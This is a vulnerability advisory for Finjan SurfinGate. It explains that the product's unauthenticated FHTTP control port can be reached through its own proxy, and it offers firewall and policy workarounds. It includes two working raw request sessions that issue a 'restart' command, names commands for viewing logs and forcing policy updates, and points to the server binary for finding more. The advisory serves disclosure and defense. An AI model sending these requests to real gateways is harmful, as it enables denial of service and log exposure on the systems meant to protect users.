VENDOR: Finjan (www.finjan.com) PRODUCT: SurfinGate (recently renamed “Vital Security”) VERSIONS: All releases of versions 6 & 7 as of 1/22/2004. Older versions have not been tested. NOTIFICATION: The vendor has known of the problem over a year DESCRIPTION ========================================================== Finjan SurfinGate provides malicious code scanning for web traffic. It focuses on behavior-based filtering of active content (e.g. ActiveX, Java, scripting), but also integrates a McAfee virus scanner. PROBLEM ========================================================== When running in proxy mode, properly crafted requests sent to Finjan SurfinGate can mimic control commands. Known vulnerabilities include viewing log data and causing the service to restart, potentially resulting in a DoS situation. The application’s architecture suggests there is a potential for modifying the filtering policy as well. DETAILS ========================================================== SurfinGate scanning servers receive commands by listening on a control port (TCP/3141 by default) for an HTTP-based protocol called “FHTTP”. Normally the FHTTP commands come from a management console or policy database server, but commands are not authenticated and can come from any source, including the local HTTP proxy. This allows any user to issue server commands via the proxy server. The “finjan-parameter-type” parameter is the actual command. Known commands include “restart” to restart the service, “getlastmsg” to view log information and “online” to force a policy update from the database server. Running “strings” on the server binary (“bin/FinjanServer”) reveals other possible targets. EXPLOITS ========================================================== Below are two examples of sessions with the proxy server that issue a restart command. Example 1: >>> CONNECT LOCALHOST:3141 HTTP/1.0 >>> <<< HTTP/1.0 200 Connection established <<< Proxy-agent: Finjan-SurfinGate/6.0 <<< >>> FINJAN /stam HTTP/1.0 >>> finjan-version: fhttp/1.0 >>> finjan-command: custom >>> finjan-parameter-category: console >>> finjan-parameter-type: restart >>> content-length: 0 >>> <<< HTTP/1.0 200 OK <<< finjan-version: fhttp/1.0 <<< <<< Example 2: >>> FINJAN localhost:3141/stam HTTP/1.0 >>> finjan-version: fhttp/1.0 >>> finjan-command: custom >>> finjan-parameter-category: console >>> finjan-parameter-type: restart >>> content-length: 0 >>> <<< HTTP/1.0 200 OK <<< finjan-version: fhttp/1.0 <<< <<< WORKAROUNDS ========================================================== Firewall filtering will is not adequate since the commands come over the same port that services legitimate HTTP requests. These are possible workarounds that have been successfully tested. * Use a proxy server between the user and SurfinGate server to block CONNECT commands to ports other than 443 AND block non-standard HTTP commands (i.e. “FINJAN”). * Inside the SurfinGate policy, add URL rules to block all access to any hostname or IP address that would connect to the FHTTP port. This can be a long list; localhost, 127.0.0.1, the hostname, loghost for Solaris machines, the IP address SurfinGate binds to, any DNS entries, etc. * Change the control port to something besides 3141. This is pretty weak, but better than nothing. NOTES ========================================================== Just to reiterate, the ability to change the policy has not been confirmed, but seems likely. The SurfinGate database server and SurfinShield (a desktop product) database server also use FHTTP for management commands, so that is a likely source for more vulnerabilities to explore. Because the SurfinGate scanning/proxy server has to communicate with the database server using FHTTP, there is guaranteed access to the database via the proxy if the hostname or IP address is known. The workarounds listed above should also work for restricting access to the database server, but have not been tested.